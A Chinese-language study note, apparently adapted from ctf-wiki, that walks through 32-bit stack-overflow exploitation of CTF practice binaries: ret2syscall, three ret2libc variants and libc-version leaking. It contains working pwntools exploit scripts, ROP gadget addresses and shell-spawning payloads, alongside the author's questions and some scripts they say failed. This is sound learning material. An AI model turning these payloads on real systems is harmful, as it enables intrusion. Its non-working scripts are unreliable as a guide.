这部分主要来源于ctf-wiki
ret2syscall 		这个其实就是利用了系统调用(syscall), 什么是系统调用呢? 参看基础知识篇,这里没有system了,但是不影响getshell,因为system的底层是调用的execve系统调用,我们只需要找到gadget,来构造系统调用,调用execve,然后传入参数/bin/sh,即可. 即 execve(“/bin/sh”)
		针对系统调用还有很多其他的利用方法,比如经典的ROW,就是说如果我们不能够执行execve getshell的话,我们可以想办法读取flag,毕竟我们的目的就是拿到flag,可以进行read open write将flag写入一个地方,然后打印出来即可.(后面再写相关的)
		这里我们利用的是 execve(“/bin/sh”,NULL,NULL),系统调用的参数不是根据那个调用约定了.  不用栈传参了,都需要用到寄存器 eax ebx ecx edx 分别存放 系统调用号和第 1 2 3 个参数, 所以他们的值分别为 0xb /bin/sh 0 0 , .rodata:080BE408 aBinSh          db ‘/bin/sh’,0  这个地址里存放着/bin/sh
buf 108 + 4 ebp + retaddress 
寻找gadget 		要找到int 0x80 gadget,以及那几个pop, 利用ROPgadget ,具体语句及结果如下
1 2 3 4 5 6 7 8 9 ROPgadget --binary rop  --only 'pop|ret'  | grep 'eax'   ROPgadget --binary ret2syscall  --only 'int'     0x0806eb90  : pop edx ; pop ecx ; pop ebx ; ret0x080bb196  : pop eax ; ret  0x08049421  : int  0x80       
 
exp 所以payload构造如下 binsh = 0x080BE408 edxecxebx = 0x0806eb90 eaxret = 0x080bb196 int80 = 0x08049421 payload = b”a”*(108 + 4) + p32(eaxret)  + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408) + p32(int80)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from  pwn import  *context.log_level= "debug"  sh = process("./ret2syscall" ) context.terminal = ['tmux' , 'splitw' , '-h' ] gdb.attach(sh,"break *0x8048e96" ) binsh = 0x080BE408  edxecxebx = 0x0806eb90  eaxret = 0x080bb196  int80 = 0x08049421  payload = b"a" *(108  + 4 ) + p32(eaxret)  + p32(0xb ) + p32(edxecxebx) + p32(0 ) + p32(0 ) + p32(0x080BE408 )+p32(int80)    sh.send(payload) sh.interactive() 
 
关于esp和ret的关系,ret后esp怎么移动等,需要再看看
Pop 一次后, esp往高地址移动一个地址
 
为什么ret后就到了栈的下一个地址???
ret的时候, esp就指向了返回地址那一行,执行完pop后,esp移动到下一个gadget,然后ret弹出这个gadget的地址,作为下一条指令,由此一步步跟进
ret2libc 		执行libc中的函数,一个关键点是找对libc版本.
		通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)(它们的关系???????)
re2libc1 		反汇编代码
		先从它自身寻找system和/bin/sh
1 2 3 4 5 6 7 8 ROPgadget --binary ret2libc1 --string  '/bin/sh'       0x08048720  : /bin/sh   # objdump -d ret2libc1 | grep "system"  08048460  <system@plt>:8048611 :	e8 4 a fe ff ff       	call   8048460  <system@plt>
 
		其活了,就覆盖返回地址为system,然后给它传参就好了,问题是怎么传参呢?栈的结构是怎样的?
		当走到返回地址这里时,进入call system,就相当于新调用了一个函数,
		说实话这里还是不太懂流程,不过最好的办法就是自己去调试!  
1 2 3 4 ► 0xf7e4c623  <gets+291 >    push   ecx                           <_IO_2_1_stdin_>   0xf7e4c624  <gets+292 >    call   __uflow                    <__uflow>   0xf7e4c629  <gets+297 >    add    esp, 0x10  
 
		在返回到system时,栈的结构就是这样子的了,符合上图..但也没啥…还是看书把..参见下面一章节
1 2 00 :0000 │ esp 0xffffd4e0  ◂— 0x0 01 :0004 │     0xffffd4e4  —▸ 0x8048720  ◂— das     
 
		找到了俩地址之外,还要找好偏移,找偏移有很多种方法
		// [sp+1Ch] [bp-64h]@1 这个可以吗?  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 和pwn入门-1 -初识里面的例子一样,eax作为字符串的开始地址,一直往上走到ebp,所以可以在gets这里下断点,输入一些a,然后查看栈的布局即可       0x8048677   <main+95 >                  lea    eax, [esp + 0x1c ]0x804867b   <main+99 >                  mov    dword ptr [esp], eax0x804867e   <main+102 >                 call   gets@plt                     <gets@plt>     pwndbg> stack  00 :0000 │ esp 0xffffd540  —▸ 0xffffd55c  ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 01 :0004 │     0xffffd544  ◂— 0x0 02 :0008 │     0xffffd548  ◂— 0x1 03 :000 c│     0xffffd54c  ◂— 0x0 04 :0010 │     0xffffd550  ◂— 0x0 05 :0014 │     0xffffd554  ◂— 0x2c307d  06 :0018 │     0xffffd558  ◂— 0x0 07 :001 c│ eax 0xffffd55c  ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' pwndbg> 08 :0020 │  0xffffd560  ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ... ↓     7  skipped pwndbg> 10 :0040 │  0xffffd580  ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ... ↓     7  skipped pwndbg> 18 :0060 │  0xffffd5a0  ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ... ↓     7  skipped pwndbg> 20 :0080 │     0xffffd5c0  ◂— 'aaaaaaaa' 21 :0084 │     0xffffd5c4  ◂— 'aaaa' 22 :0088 │ ebp 0xffffd5c8  ◂— 0x0 23 :008 c│     0xffffd5cc  —▸ 0xf7dfdfa1  (__libc_start_main+241 ) ◂— add    esp, 0x10 24 :0090 │     0xffffd5d0  ◂— 0x1     
 
		上述例子中输入了108个a,所以缓冲区是108,然后ebp占4位,然后就是返回地址了
1 2 3 4 5 6 7 8 9 from  pwn import  *sh  = process("./ret2libc1" ) binsh = 0x08048720  system = 0x08048460  payload = b"a" *112  + p32(system) + b"b" *4  + p32(binsh)  sh.send(payload) sh.interactive() 
 
		
	
函数调用、序言与后记 	《计算机安全导论深度实践》p99.
函数调用 		为什么system后面是exit(就是返回地址),这是因为正常情况下,我们在call 一个函数的时候,也就是一个函数被调用的时候,会把它的返回地址压入栈中 ,等返回的时候取用,但是我们这里不是正常的call,而是直接覆盖掉了返回地址,所以就没有压栈的那个操作了,所以需要我们手动把返回地址写入里面 . 此时push 返回地址进去后,esp就是下面序言的a状态
序言 		序言就是函数开头处的代码,用于为函数准备栈和指针. IA-32(32位x86)体系结构中,序言内设指令为enter,具体是下面三条指令
1 2 3 pushl %ebp  //保存调用者的ebp值(用于被调用函数结束后,恢复之前调用函数的栈帧) movl %esp, %ebp //把esp赋值给ebp,这样ebp就到了 被调用函数的栈帧了 subl %N, %esp  //给局部变量开辟一块空间 
 
后记 			函数末尾处的代码,用于恢复栈和寄存器到函数调用之前的状态. IA-32(32位x86)体系结构中,后记内设指令是leave,具体内容是下面三条指令
1 2 3 movl %ebp, %esp //把ebp的值赋值给esp,释放掉开辟的栈空间 popl %ebp  //让ebp指回调用者函数的栈帧 ret        //返回  ret包含了两条指令,pop 和 jump(参上) 
 
示例 		示例程序
1 2 3 4 5 6 7 8 9 10 11 void  foo (int  x) {         int  a;         a = x; } void  bar () {         int  b=5 ;         foo(b); } 
 
		gcc -m32 -S prog.c 编译成汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 foo: 	pushl	%ebp 	movl	%esp, %ebp 	subl	$16, %esp 	movl	8(%ebp), %eax 	movl	%eax, -4(%ebp) 	leave 	ret bar: 	pushl	%ebp 	movl	%esp, %ebp 	subl	$16, %esp 	movl	$5, -4(%ebp) 	pushl	-4(%ebp)                   // 这一句是干什么的?????? 这一句和上一句组合,压入参数 	call	foo 	addl	$4, %esp 	leave 	ret 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void  foo (int  x) {         int  a;         a = x; } void  bar () {         int  b=5 ;         foo(b); } void  main () {   bar(); } 
 
关于参数等再怎么具体的,要看看编译原理? 之类的?
ret2libc2 		相比ret2libc1,ret2libc2里没有/bin/sh,需要我们自己从其他渠道获取
1 2 3 4 5 6 7 8 9 10 08048490  <system@plt>:8048641 :	e8 4 a fe ff ff       	call   8048490  <system@plt>      08048460  <gets@plt>:80486b a:	e8 a1 fd ff ff       	call   8048460  <gets@plt>   0x0804872f  : pop ebp ; ret0x0804872c  : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x0804843d  : pop ebx ; ret
 
		因为ret2libc2里有gets函数,所以可以先利用这个,读取一个/bin/sh,写入到哪呢? 写入到bss段,为什么写入到bss段呢?bss段的地址又怎么选呢???????
		写入进去后再从这里读取就可以了!
1 2 3 4 5 6 .data:0804A03F .bss:0804A040 ; =========================================================================== .bss:0804A040 .bss:0804A040 ; Segment type: Uninitialized .bss:0804A040 ; Segment permissions: Read/Write 
 
		所以payload的构造
		payload = b”a”*112 + gets + popret + buf + system + exit + buf
		payload = b”a”*112 + gets + system + buf + buf
		在gets的后面要跟一个pop xxx; ret 为什么呢? 因为这里本身是返回地址,在gets执行完后,要想继续执行的话,需要把后面的buf给弹出来,然后再ret,把system当成返回地址? 不知道这么理解对不对,可以调试一下看看
1 2 3 4 5 6 7 8 9 10 11 from  pwn import  *sh  = process("./ret2libc2" ) gets = 0x08048460  system = 0x08048490  buf = 0x0804A040  popret = 0x0804843d  payload = b"a" *112  + p32(gets) + p32(popret) + p32(buf) + p32(system) + p32(0 ) + p32(buf) sh.send(payload) sh.interactive() 
 
		感觉能行,但是有点小问题,,还有那这个payload是不是也可以呢?payload = b”a”*112 + p32(gets) + p32(system) + p32(buf) + p32(buf),如果按照上面的逻辑的话,是的,这个payload没问题! 所以,究其根本我们是伪造了函数执行过程,只要符合它这个流程,理解本质,根据具体情况构造就可以了!! 
		(不过为什么执行一条命令就EOF了?) 那是因为 system需要获取/bin/sh…你忘了,直接输入 id  whoami什么的,肯定就一次,可以直接输入/bin/sh,也可以在exp里面在加一行 sh.send(b”/bin/sh”)
		不行,send不行,要两个sendline才可以,send和sendline肯定有区别,回头写pwntools时(pwn入门-6)看一下 
1 2 3 4 5 6 7 8 9 10 11 12 13 from  pwn import  *sh  = process("./ret2libc2" ) gets = 0x08048460  system = 0x08048490  buf = 0x0804A040  popret = 0x0804872f  payload = b"a" *112  + p32(gets) + p32(system) + p32(buf) + p32(buf) sh.sendline(payload) sh.sendline(b"/bin/sh" ) sh.interactive() 
 
ret2libc3 		相比ret2libc2,system也没了,那就需要从libc中找了,libc的话没有给你版本,就需要泄露个函数地址,然后去找版本,泄漏的话,用puts输出.
		是不是需要先换个libc版本呢???? 还是什么????????????????????/不对呀,既然需要泄漏函数..那libc版本就是固定的了,为什么呢….是动态链接的事?
		先打印出libc_start_main_addr 再说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from  pwn import  *from  Libcsearcher import  Libcsearchersh = process("./ret2libc3" ) ret2libc3 = ELF("./ret2libc3" ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] main = ret2libc3.plt['main' ] payload1 = b"a" *112  + puts_plt + main + libc_start_main_got sh.sendafter("Can you find it !?" ,payload1) libc_start_main_addr = u32(sh.recv()[0 :4 ]) print (libc_start_main_addr)
 
		很奇怪,这个脚本感觉没什么问题,但是不行,下面的却可以…….感觉没有什么区别呀………..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from  pwn import  *from  LibcSearcher import  LibcSearchersh = process('./ret2libc3' ) ret2libc3 = ELF('./ret2libc3' ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] main = ret2libc3.symbols['main' ] payload = flat([b'A'  * 112 , puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?' , payload) print ("get the related addr" )libc_start_main_addr = u32(sh.recv()[0 :4 ]) print (hex (libc_start_main_addr))
 
sh.sendlineafter(‘Can you find it !?’, payload) 
sh.sendafter(“Can you find it !?”,payload1)
区别在这里!!!!!
还有如果不加[0:4]会是怎样?
print(sh.recv())看看
b’\xb0\xde\xdf\xf7\nNo surprise anymore, system disappeard QQ.\nCan you find it !?’
所以是要前四个字节的意思! 
		libc的问题参见下面,目前就当已经解决libc的问题了,然后继续做,libcbase的话就是这个/lib/i386-linux-gnu/libc.so.6 (0xf7de5000),
		然后就是获取binsh和system的地址,这个可以直接用objdump或者ROPgadget
		objdump -d /lib/i386-linux-gnu/libc.so.6 | grep “system”
		ROPgadget –binary /lib/i386-linux-gnu/libc.so.6 –string ‘/bin/sh’
		其实泄露了地址,找到了gadget,就是最开始最简单的那个溢出了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from  pwn import  *from  LibcSearcher import  LibcSearchersh = process("./ret2libc3" ) ret2libc3 = ELF("./ret2libc3" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] puts_got = ret2libc3.got['puts' ] main = ret2libc3.symbols['main' ] system_addr = 0xf7de5000  + 0x0003d3d0  binsh_addr =  0xf7de5000  + 0x0017e1db  payload = flat(['A'  * 112 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) sh.interactive() 
 
		虽然这里没有成功,但还是看看exp,理解一下这个思路. 接收到泄露的地址后,用libcsearcher搜索一下,搜索到了之后,用libc_start_main_addr(这个就是虚拟地址) 减去 __libc_start_main的地址(在文件中的偏移),于是就得到了加载libc的基地址,就是这玩意	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000),然后再从libc里面搜索要用的函数或者字符串,加上加载的基地址就可以了.
1 2 3 4 5 6 7 8 9 libc_start_main_addr = u32(sh.recv()[0 :4 ]) libc = LibcSearcher('__libc_start_main' , libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main' ) system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) print  "get shell" payload = flat(['A'  * 104 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) 
 
关于libc的问题 		首先,之所以要泄露libc的版本是因为,我们要打一个远程的机器,要利用到它的libc库里的函数,但是不同版本的libc的函数位置等是不一样的,所以需要泄露远程机器的libc版本 ,然后本地patch进行调试,再打远程.
		像很多博客中的例题,是没有远程环境的,所以就自己利用自己本地的环境,链接到自己本地的libc上,不过问题是,有时候libcsearch搜索自己本地的libc搜不出来,版本是错的,目前我也不知道为什么….当然这些工具本身就不是完美的.
		这种题的话,如果出现上面的问题,可以就略过搜索libc的环节,直接用本地的就好了.
		查看本地libc版本
1 2 3 4 5 6 # ldd --version ldd (Ubuntu GLIBC 2.27 -3u buntu1.4 ) 2.27  Copyright (C) 2018  Free Software Foundation, Inc. This is free  software; see the source for  copying conditions.  There is NO warranty; not even for  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper. 
 
		一般来说都是链接到这个默认的,可以用ldd查看一下,然后直接执行这个文件也可以看到版本
1 2 3 4 5 6 7 8 # ldd ret2libc3 	linux-gate.so.1  (0xf7fd5000 ) 	libc.so.6  => /lib/i386-linux-gnu/libc.so.6  (0xf7de5000 ) 	/lib/ld-linux.so.2  (0xf7fd6000 )      # /lib/i386-linux-gnu/libc.so.6  --version GNU C Library (Ubuntu GLIBC 2.27 -3u buntu1.6 ) stable release version 2.27 . Copyright (C) 2018  Free Software Foundation, Inc. 
 
		获取libc版本的话可以有很多方式,可以到libc database网站上查,也可以用libcsearch这个库,但不一定百分百准确, 
		比如上面获取了libc_start_main_addr的地址后,就可以去网站上查 https://libc.blukat.me 
		但是确实不准……..
		或者用libcsearch,在上面的代码基础上再加2行
		libc = LibcSearcher(‘__libc_start_main’, libc_start_main_addr)
		libcbase = libc_start_main_addr - libc.dump(‘__libc_start_main’)
1 2 3 4 5 6 7 8 9 10 11 [+] There are multiple libc that meet current constraints : 0  - libc-2.30 -13.f c31.i6861  - libc-2.30 -2 -x862  - libc-2.30 -3 -x863  - libc-2.30 -1 -x864  - libc-2.32 -16. mga8.x86_64_25  - libc-2.32 -17. mga8.x86_64_26  - libc-2.32 -20. mga8.x86_64_27  - libc-2.32 -21. mga8.x86_64_28  - libc-2.32 -18. mga8.x86_64_29  - libc-2.32 -19. mga8.x86_64_2
 
		咱也不知道为啥..就是不对,,可能数据库汇总没收录??不对呀,这就是很常见的2.27..
残留疑问 输入到bss段中的/bin/sh有什么要求呢?哪里都可以输入吗?为什么输入到bss段?
好像是pip和github下载的libcsearch有区别
这个查的不准可以去别的地方查,把libc_start_main_addr打印出来后,去一些网址上查可以
https://www.jianshu.com/p/5525dde00053 
为什么nm和exp里的输出不一样,是因为一个是静态,一个是动态加载后的吗
__libc_start_main 通过这个得到libc?
https://blog.csdn.net/weixin_45309916/article/details/119481681